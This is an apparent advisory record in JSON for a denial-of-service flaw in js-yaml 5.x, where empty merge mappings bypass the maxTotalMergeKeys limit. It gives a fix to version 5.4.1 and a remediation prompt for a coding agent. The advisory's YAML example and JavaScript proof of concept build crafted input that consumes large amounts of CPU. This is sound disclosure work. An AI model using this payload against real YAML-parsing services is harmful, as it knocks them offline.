{"answers":{"affected":"2 open source packages ship an affected version, including js-yaml.","exploited":"There is no known exploitation of GHSA-r3ph-w7gj-g6xm in the wild and no public exploit code.","fix":"Upgrade js-yaml to 5.4.1 or later.","what":"GHSA-r3ph-w7gj-g6xm is a denial of service vulnerability in js-yaml, published on 29 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-r3ph-w7gj-g6xm and fix it if it is affected.\n\nWhat it is: GHSA-r3ph-w7gj-g6xm is a denial of service vulnerability in js-yaml, published on 29 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-r3ph-w7gj-g6xm in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- js-yaml (npm): affected from 5.0.0; fixed in 5.4.1\n- js-yaml (npm): affected from 5.0.0; fixed in 5.4.1\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-r3ph-w7gj-g6xm/ (Markdown: https://insights.sbomify.com/GHSA-r3ph-w7gj-g6xm/index.md)","id":"GHSA-r3ph-w7gj-g6xm","markdown":"https://insights.sbomify.com/GHSA-r3ph-w7gj-g6xm/index.md","name":"GHSA-r3ph-w7gj-g6xm","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"patch","impacts":["denial_of_service"],"network_reachable":"yes","non_default_config":false,"product_category":"JavaScript YAML parser","requires_auth":"none","summary":"An attacker can cause excessive CPU consumption in js-yaml by submitting crafted YAML with empty merge keys, bypassing resource limits.","user_interaction":"not_required","vuln_class":"denial_of_service"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Summary\n\n`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.\n\n## Example\n\n```yaml\narr: \u0026arr [{}, {}, {}, ...] # N empty mappings\ntargets:\n  - \u003c\u003c: *arr                # repeated K times\n```\n\nFor every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.\n\n## PoC\n\n```js\nimport { performance } from 'node:perf_hooks'\nimport { load, YAML11_SCHEMA } from 'js-yaml'\n\nconst n = 20000\n\nconst src =\n  'arr: \u0026arr [' + '{},'.repeat(n).slice(0, -1) + ']\\n' +\n  'targets:\\n' +\n  '  - \u003c\u003c: *arr\\n'.repeat(n)\n\nconst started = performance.now()\n\nload(src, { schema: YAML11_SCHEMA })\n\nconsole.log(`${(performance.now() - started).toFixed(1)} ms`)\n```\n\nObserved results:\n\n| N | YAML size | Time |\n|---:|---:|---:|\n| 800 | ~13 KB | ~20 ms |\n| 3200 | ~50 KB | ~180 ms |\n| 20000 | ~500 KB | ~13 s |\n\n## Impact\n\nWhen merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.\n\n## Fix\n\nCount every merge source mapping as one budget unit in addition to counting its keys.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources","id":"GHSA-r3ph-w7gj-g6xm","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"denial_of_service","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["5.4.1"],"introduced":["5.0.0"],"last_affected":[],"package":"js-yaml","purl":null,"source":"GHSA-r3ph-w7gj-g6xm"},{"ecosystem":"npm","fixed":["5.4.1"],"introduced":["5.0.0"],"last_affected":[],"package":"js-yaml","purl":"pkg:npm/js-yaml","source":"GHSA-r3ph-w7gj-g6xm"}],"products":null,"published":"2026-09-29","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"An attacker can cause excessive CPU consumption in js-yaml by submitting crafted YAML with empty merge keys, bypassing resource limits.","url":"https://insights.sbomify.com/GHSA-r3ph-w7gj-g6xm/"}